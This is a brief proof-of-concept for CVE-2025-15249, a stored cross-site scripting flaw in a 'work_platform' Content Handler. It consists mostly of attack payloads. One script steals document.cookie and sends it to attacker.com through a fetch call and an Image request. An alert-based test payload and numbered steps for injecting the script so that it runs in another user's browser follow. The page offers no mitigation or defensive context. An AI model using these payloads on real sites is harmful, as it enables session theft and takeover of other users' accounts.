CVE-2025-15249: work_platform Content Handler跨站脚本漏洞

<!-- Stored XSS PoC for CVE-2025-15249 --> <!-- Payload to be injected via Content Handler --> <script> // Steal session cookie var stolenCookie = document.cookie; // Send to attacker-controlled server fetch('https://attacker.com/steal?cookie=' + encodeURIComponent(stolenCookie), { method: 'GET', mode: 'no-cors' }); // Alternative payload: Session hijacking new Image().src = 'https://attacker.com/log?data=' + document.cookie; </script> <!-- Simplified XSS test payload --> <img src=x onerror="alert('XSS Vulnerability Confirmed - CVE-2025-15249')"> <!-- Steps to test: --> <!-- 1. Authenticate with low-privilege account --> <!-- 2. Navigate to Content Handler functionality --> <!-- 3. Inject above payload in input field --> <!-- 4. Save and view content as another user --> <!-- 5. Observe JavaScript execution in victim's browser -->